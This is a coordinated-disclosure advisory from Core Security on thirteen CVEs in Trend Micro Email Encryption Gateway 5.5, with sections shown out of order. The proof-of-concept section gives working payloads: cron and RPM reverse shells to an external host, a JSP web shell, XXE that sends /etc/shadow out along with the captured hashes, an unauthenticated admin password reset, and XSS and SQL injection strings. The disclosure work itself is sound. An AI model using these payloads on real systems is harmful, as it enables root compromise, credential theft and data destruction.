https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
-----/
7.10. *Stored cross-site scripting in editPolicy.jsp*
[CVE-2018-6227]
The hidEmails parameter of the editPolicy.jsp script is vulnerable to
cross-site scripting.
The following request adds a policy for the email address
"<script>alert(1)</script>":
/-----
POST /editPolicy.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/policies.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1
-----/
The input will be stored unescaped and rendered every time the policies.do
script is executed.
Excerpt of the policies.do source showing the injected script tag:
/-----
<tr>
<td ondblclick="edit_policy(this);" style="border:solid 1px
#AAAAAA;background-color:#F5F5F5;cursor:move;"
onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);"
onmouseout="mouse_out(this);"
onmousemove="mouse_move(this, event);">Don't decrypt messages to
<script>alert(1)</script>
-----/
7.11. *SQL injection in policies.jsp*
[CVE-2018-6228]
The hidEditId parameter of the policies.jsp script is not sanitized,
leading to SQL injection.
As can be seen in the following excerpt, the script reads a parameter
named hidEditId and forwards it to the editPolicy.jsp script if it is
not set to -1.
From webapps/ROOT/policies.jsp:
/-----
<% if (request.getParameter("hidEditId") != null)
if (request.getParameter("hidEditId").compareTo("-1") != 0)
{
String hid_edit_id = request.getParameter("hidEditId");
%><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId"
value="<%= hid_edit_id %>"/></jsp:forward><%
}
[...]
-----/
The editPolicy.jsp script will pass this parameter without any
modification to the loadRuleDetails method, which is defined in the
formEditPolicy class
From webapps/ROOT/editPolicy.jsp:
/-----
if (request.getParameter("editRuleId") != null)
frm.loadRuleDetails(request.getParameter("editRuleId"));
[...]
-----/
Finally, the loadRuleDetails method will use the unsanitized parameter
it receives to build a dynamic SQL statement as follows:
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
/-----
public boolean loadRuleDetails(String ruleId)
{
_databaseError = false;
try
{
_ruleId = ruleId;
_ruleResultId = dataStore.getRuleResultId(ruleId);
_ruleForId = dataStore.getRuleForId(ruleId);
_ruleEmails = dataStore.getRuleAddreses(ruleId);
_ruleSubRules = dataStore.getSubRules(ruleId);
[...]
public String getRuleResultId(String ruleId) throws SQLException
{
Connection cnn = MySQLClient.GetInstance().GetConnection();
Statement query = cnn.createStatement();
String ruleResultId = "";
ResultSet rs = null;
try
{
rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine
WHERE Id = " + ruleId);
[...]
-----/
The contents of ruleId will be appended to the SELECT query, resulting
in a SQL injection.
The following PoC opens a policy to edit, even though the hidEditId
parameter is invalid. Due to the "always true" comparison, the first
element is retrieved:
/-----
POST /policies.jsp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Referer: https://server/editPolicy.jsp
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
Connection: close
Upgrade-Insecure-Requests: 1
action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201
-----/
7.12. *SQL injection in editPolicy.jsp*
[CVE-2018-6229]
The hidRuleId parameter of the editPolicy.jsp script is not sanitized,
leading to SQL injection in a DELETE statement.
The following excerpt shows that the request object is forwarded to the
DeletePolicy method implemented in the formEditPolicy class.
From webapps/ROOT/editPolicy.jsp:
/-----
<% if (frm.isPostBack())
{
if (request.getParameter("hidDelete").compareTo("YES") == 0)
{
frm.DeletePolicy(request);
}
[...]
-----/
DeletePolicy reads the hidRuleId parameter and calls deletePolicy with
it, without doing any sanitization.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
/-----
public boolean DeletePolicy(HttpServletRequest request)
{
String ruleId = request.getParameter("hidRuleId");
boolean success = dataStore.deletePolicy(ruleId);
_databaseError = (!success);
return success;
}
-----/
Finally, the JPostgresDataHelper class uses the ruleId parameter to
build dynamic SQL statements, as can be seen in the following extract.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper:
/-----
public boolean deletePolicy(String ruleId)
{
Connection cnn = null;
Statement query = null;
boolean bSuccess = true;
try
{
cnn = MySQLClient.GetInstance().GetConnection();
cnn.setAutoCommit(false);
query = cnn.createStatement();
query.executeUpdate("DELETE FROM RulesEmailIndex WHERE
RulesEngineId = " + ruleId);
query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId
= " + ruleId);
query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId);
[...]
-----/
The ruleId parameter will be appended as-is to the DELETE statements,
resulting in a SQL injection.
The following request will cause the RulesEmailIndex, SubRuleIndex, and
RulesEngine tables to be truncated:
/-----
POST /editPolicy.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/policies.jsp
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F
Connection: close
Upgrade-Insecure-Requests: 1
action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1
-----/
7.13. *SQL Injection in emailSearch.jsp*
[CVE-2018-6230]
The SearchString parameter of the emailSearch.jsp script is not
sanitized, leading to a SQL injection.
As can be seen in the following excerpt, the emailSearch.jsp script
reads a parameter named SearchString and calls the getResults method
defined in the wsEmailSearch class.
From webapps/ROOT/emailSearch.jsp:
/-----
if (session.getAttribute("UserName") != null)
{
response.setContentType("text/xml");
ws.setSearchParam(request.getParameter("SearchString"));
java.util.Vector res = ws.getResults();
[...]
-----/
The searchParam property is not sanitized before being used to build a
dynamic SQL query, resulting in a SQL injection in the SELECT statement.
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch:
/-----
public class wsEmailSearch
{
private String _searchParam = "";
public void setSearchParam(String searchParam) { _searchParam =
searchParam; }
public Vector getResults()
{
Vector res = new Vector();
Connection cnn = MySQLClient.GetInstance().GetConnection();
try
{
Statement query = cnn.createStatement();
ResultSet rs = query.executeQuery("SELECT address FROM
RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY
address");
[...]
-----/
The following proof of concept will cause all the e-mails on the
database to be retrieved:
/-----
POST /emailSearch.jsp HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Referer: https://server/policies.jsp
Content-Length: 39
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
Connection: close
SearchString=' OR '%1%'='%1
-----/
8. *Report Timeline*
2017-06-05: Core Security sent an initial notification to Trend Micro,
including a draft advisory.
2017-06-05: Trend Micro confirmed reception of advisory and informed
they will submit it to the relevant technical team for validation and
replication.
2017-06-22: Core Security asked for an update on the vulnerability
reported.
2017-06-22: Trend Micro answered saying the cases are still being vetted
and that they will commit a time when the solution is finalized.
2017-08-28: Core Security asked again for an update on the vulnerability
reported.
2017-08-28: Trend Micro answered saying the team is still in the process
of creating the official fix for the vulnerabilities, although there is
still no official release date.
2017-10-02: Core Security asked again for an update on the vulnerability
reported.
2017-10-02: Trend Micro answered saying the team are still finalizing
the fix to ensure all vulnerabilities are covered.
2017-11-13: Core Security asked again (4th time) for an ETA for the
official fix. We stated we need a release date or a thorough explanation
on why after five months there is still no date defined. If there is no
such answer we will be forced to publish the advisory.
2017-11-14: Trend Micro answered saying the team is still working on two
vulnerabilities and due to the complexity and number of vulnerabilities
overall found, their team requires more time.
2018-01-16: Core Security asked again (5th time) for an ETA for the
official fix.
2018-01-23: Trend Micro answered proposing the publication date to be
February 7th.
2018-01-24: Core Security thanked Trend Micro's answer and asked if all
the vulnerabilities reported in the advisory will be addressed. In
addition, Core Security asked for CVE-IDs.
2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be
addressed and notified Core Security they will send the CVE-IDs when
have these assigned. In addition, Trend Micro sent its new PGP key.
2018-01-29: Core Security thanked Trend Micro's confirmation and agreed
on the proposed release date.
2018-01-29: Trend Micro answered saying the team found a couple of
issues during the QA test. Consequently, Trend Micro asked for
additional time to fix the remaining vulnerabilities and required a
separated disclosure time.
2018-01-29: Core Security answered its intention to report all the
vulnerabilities in just one advisory and asked for a timeline for the fix.
2018-02-01: Core Security asked for an update on the remaining
vulnerabilities.
2018-02-02: Trend Micro sent an update and requested a week extension.
2018-02-02: Core Security thanked Trend Micro's update and agreed to
postpone the release.
2018-02-14: Trend Micro answered saying the remaining vulnerabilities
will not be addressed in the patch due to its complexity; therefore,
mitigation steeps will be recommending. Also, Trend Micro proposed
February 21 as the release date.
2018-02-14: Core Security thanked Trend Micro's update and agreed on the
proposed release date.
2018-02-21: Advisory CORE-2017-0006 published.
9. *References*
[1]
http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/
10. *About CoreLabs*
CoreLabs, the research center of Core Security, is charged with
anticipating the future needs and requirements for information security
technologies.
We conduct our research in several important areas of computer security
including system vulnerabilities, cyber attack planning and simulation,
source code auditing, and cryptography. Our results include problem
formalization, identification of vulnerabilities, novel solutions and
prototypes for new technologies. CoreLabs regularly publishes security
advisories, technical papers, project information and shared software
tools for public use at:
http://corelabs.coresecurity.com.
11. *About Core Security*
Core Security provides companies with the security insight they need to
know who, how, and what is vulnerable in their organization. The
company's threat-aware, identity & access, network security, and
vulnerability management solutions provide actionable insight and context
needed to manage security risks across the enterprise. This shared
insight gives customers a comprehensive view of their security posture
to make better security remediation decisions. Better insight allows
organizations to prioritize their efforts to protect critical assets,
take action sooner to mitigate access risk, and react faster if a breach
does occur.
Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or info@coresecurity.com
12. *Disclaimer*
The contents of this advisory are copyright (c) 2018 Core Security and
(c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security advisories
team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc
VAR-201803-1785 | CVE-2018-6220 | Trend Micro Email Encryption Gateway Injection vulnerability |
CVSS V2: 7.5 CVSS V3: 9.8 Severity: CRITICAL |
An arbitrary file write vulnerability in Trend Micro Email Encryption Gateway 5.5 could allow an attacker to inject arbitrary data, which may lead to gaining code execution on vulnerable systems. Trend Micro Email Encryption Gateway Contains an injection vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Failed exploit attempts will result in a denial-of-service condition. *Advisory Information*
Title: Trend Micro Email Encryption Gateway Multiple Vulnerabilities
Advisory ID: CORE-2017-0006
Advisory URL:
http://www.coresecurity.com/advisories/trend-micro-email-encryption-gateway-multiple-vulnerabilities
Date published: 2018-02-21
Date of last update: 2018-02-21
Vendors contacted: Trend Micro
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Cleartext Transmission of Sensitive Information [CWE-319],
External Control of File Name or Path [CWE-73], Insufficient
Verification of Data Authenticity [CWE-345], External Control of File
Name or Path [CWE-73], Missing Authentication for Critical Function
[CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of
XML External Entity Reference [CWE-611], Improper Neutralization of
Input During Web Page Generation ('Cross-site Scripting') [CWE-79],
Improper Neutralization of Input During Web Page Generation ('Cross-site
Scripting') [CWE-79], Improper Neutralization of Input During Web Page
Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of
Special Elements used in an SQL Command [CWE-89], Improper
Neutralization of Special Elements used in an SQL Command [CWE-89],
Improper Neutralization of Special Elements used in an SQL Command
[CWE-89]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222,
CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226,
CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230
3. The encryption and decryption of email on the TMEEG
client is controlled by a Policy Manager that enables an administrator
to configure policies based on various parameters, such as sender and
recipient email addresses, keywords, or PCI compliance. Encryption for
Email Gateway presents itself as an SMTP interface and delivers email
out over an SMTP to configured outbound MTAs.
We also present two additional vectors to achieve code execution from a
man-in-the-middle position.
4. *Vulnerable Packages*
.
5. *Vendor Information, Solutions and Workarounds*
Trend Micro published the following Security Notes:
.
https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities
6. *Credits*
These vulnerabilities were discovered and researched by Leandro Barragan
and Maximiliano Vidal from Core Security Consulting Services. The
publication of this advisory was coordinated by Alberto Solino from Core
Advisories Team.
7. Section 7.4 describes a vulnerability in this
console that can be exploited to gain command execution as root. The
vulnerable functionality is accessible only to authenticated users, but
it is possible to combine 7.4 with the vulnerability presented in
section 7.5 to bypass this restriction and therefore execute root
commands from the perspective of a remote unauthenticated attacker.
Additional Web application vulnerabilities were found, including
cross-site request forgery (7.6), XML external entity injection (7.7),
several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL
injection vulnerabilities (7.11, 7.12, 7.13).
7.1. *Insecure update via HTTP*
[CVE-2018-6219]
Communication to the update servers is unencrypted. The following URL is
fetched when the application checks for updates:
/-----
[Request #1]
http://downloads.privatepost.com/files/TMEEG/updates/data.html
-----/
The product expects to retrieve a plain-text file with the following
format:
/-----
[Version Info]
[Installation RPM file name]
[Path to release notes]
-----/
If a new update is found, then the RPM file is downloaded from the
following URL:
/-----
[Request #2]
http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM
file name]
-----/
This means that the product does not do any kind of certificate
validation or public key pinning, which makes it easier for an attacker
to eavesdrop and tamper the data.
7.2. *Arbitrary file write leading to command execution*
[CVE-2018-6220]
The following code snippet is responsible for downloading the update
file (com/identum/pmg/web/CheckForUpdates.java):
/-----
FileDownload fd = new FileDownload();
if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" +
rpmFileName)) {
return 10;
}
[...]
-----/
The rpmFileName variable is controlled by the attacker, as it is taken
from the aforementioned update file. As a consequence, the attacker
controls the path where the update file is going to be downloaded. The
RPM file is written by the root user with 0644 permissions. Being able
to write to the file system as root opens the door to several code
execution vectors on Linux machines.
In this PoC we present one vector which consist on creating a cron job
on /etc/cron.d directory.
The attacker can send the following response to [Request #1]:
/-----
HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 23 May 2017 14:39:46 GMT
Connection: close
Content-Length: 26
5.7
../../../../../../../etc/cron.d/test
test.html
-----/
As a result, the server will create the file /etc/cron.d/test. Its
contents are also controlled by the attacker. When the update launches,
the appliance will download it from the following URL:
/-----
http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test
-----/
The attacker can tamper the server's response and inject arbitrary data,
such as a reverse shell payload:
/-----
* * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1
-----/
gaining code execution upon exploitation:
/-----
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
52171)
bash: no job control in this shell
[root@ localhost ~]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=user_u:system_r:unconfined_t
-----/
7.3. *Unvalidated software updates*
[CVE-2018-6221]
The update mechanism described in 7.2 does not validate the RPM file
downloaded.
An attacker in a man-in-the-middle position could tamper with the RPM
file and inject its own.
The following code snippet is responsible for installing the unvalidated
RPM (com/identum/pmg/web/CheckForUpdates.java):
/-----
try
{
System.out.println("running file:");
System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName);
Process process = Runtime.getRuntime().exec("rpm --upgrade
--nodeps /tmp/" + rpmFileName);
[..]
{
-----/
In the following Proof of Concept, we crafted a malicious RPM file that
executes a reverse shell once opened. This can be achieved by adding a
reverse shell script to %pre section of RPM's SPEC file, which is
executed previous to any installation step. As can be seen, this results
in code execution as root:
/-----
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
40445)
bash: no job control in this shell
[root@ localhost /]# id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
context=root:system_r:rpm_script_t:SystemLow-SystemHigh
-----/
7.4. *Arbitrary logs location leading to command execution*
[CVE-2018-6222]
The location of the log files can be changed in the logConfiguration.do
page. MimeBuildServer logs are particularly interesting because its
contents can be controlled by an attacker.
The first step is to point the log file to the Web application root. The
following request redirects MimeBuildServer logs to
/opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs:
/-----
POST /logConfiguration.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/logConfiguration.do
Content-Type: application/x-www-form-urlencoded
Content-Length: 798
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback
-----/
The second step is to update the MimeBuilder configuration and insert
arbitrary JSP code. One candidate is the "Encrypted meeting request
email message" form.
/-----
POST /mimebuilderconfig.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://[server]/MimeBuilderConfig.do
Content-Type: application/x-www-form-urlencoded
Content-Length: 2915
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback
-----/
The next time the service components are restarted, the log file will be
created with the desired JSP code.
With the sample JSP code from the previous request, the attacker would
then navigate to pepito.jsp and execute arbitrary commands as root:
/-----
https://[server]/pepito.jsp?cmd=id
Command: id
uid=0(root) gid=0(root) context=system_u:system_r:java_t
-----/
7.5. *Missing authentication for appliance registration*
[CVE-2018-6223]
The registration endpoint is provided for system administrators to
configure the virtual appliance upon deployment. However, this endpoint
remains accessible without authentication even after the appliance is
configured, which would allow attackers to set configuration parameters
such as the administrator username and password.
The following request changes the administrator password to "sombrero":
/-----
POST /register.jsp HTTP/1.1
Host: [server]
Content-Type: application/x-www-form-urlencoded
Content-Length: 414
action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain®Email=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero
-----/
Note that a valid activation code is required. This code can be easily
obtained by requesting a trial from Trend Micro's website.
7.6. *Lack of cross-site request forgery protection*
[CVE-2018-6224]
There are no Anti-CSRF tokens in any forms on the Web interface. This
would allow an attacker to submit authenticated requests when an
authenticated user browses an attacker-controlled domain.
This vulnerability can be chained with 7.4 and lead to remote command
execution. It could also be abused to force updates once the attacker is
in a man-in-the-middle position to exploit 7.2 or 7.3, which would also
lead to remote command execution.
The following proof of concept starts the check for updates process.
/-----
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://[server]/checkForUpdates.do">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
-----/
7.7. *XML external entity injection in configuration.jsp*
[CVE-2018-6225]
The pciExceptionXml parameter of the configuration.jsp script is
vulnerable to XML external entity injection.
The following proof of concept uses external entities to send the
/etc/shadow file to an external server.
/-----
POST /configuration.jsp HTTP/1.1
Host: [server]
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 938
Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB
Connection: close
Upgrade-Insecure-Requests: 1
incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f>
<!DOCTYPE+roottag+[
+<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow">
+<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd">
%25dtd%3b]>
<ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]></end></pci_exception><pci_exception+enabled%3d"true"><start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions>
-----/
The combine.dtd file is hosted on an external server, and its contents
are:
/-----
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM
'gopher://external_server:1080/?%file;'>">
%all;
$ sudo nc -lvvp 1080
Listening on [0.0.0.0] (family 0, port 1080)
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
49676)
root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7:::
bin:*:14089:0:99999:7:::
daemon:*:14089:0:99999:7:::
adm:*:14089:0:99999:7:::
lp:*:14089:0:99999:7:::
sync:*:14089:0:99999:7:::
shutdown:*:14089:0:99999:7:::
halt:*:14089:0:99999:7:::
mail:*:14089:0:99999:7:::
news:*:14089:0:99999:7:::
uucp:*:14089:0:99999:7:::
operator:*:14089:0:99999:7:::
games:*:14089:0:99999:7:::
gopher:*:14089:0:99999:7:::
ftp:*:14089:0:99999:7:::
nobody:*:14089:0:99999:7:::
rpm:!!:14089:0:99999:7:::
dbus:!!:14089:0:99999:7:::
exim:!!:14089:0:99999:7:::
nscd:!!:14089:0:99999:7:::
vcsa:!!:14089:0:99999:7:::
rpc:!!:14089:0:99999:7:::
sshd:!!:14089:0:99999:7:::
pcap:!!:14089:0:99999:7:::
haldaemon:!!:14089:0:99999:7:::
postgres:!!:14090::::::
tomcat:!!:14090:0:99999:7:::
xfs:!!:14179::::::
postfix:!!:14194::::::
-----/
These actions require the user to be authenticated within the Web
console, so an attacker would need to obtain valid credentials first.
Possible vectors to achieve this include exploiting any of the XSS
issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF
vulnerability described in 7.6.
7.8. *Reflected cross-site scripting in keymanserverconfig.jsp*
[CVE-2018-6226]
The deniedKeysExpireTimeout and keyAge parameters of the
keymanserverconfig.jsp script are vulnerable to cross-site scripting.
The following is a proof of concept to demonstrate the vulnerability:
/-----
https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback
-----/
7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp*
[CVE-2018-6226]
The following parameters of the mimebuilderconfig.jsp script are
vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader,
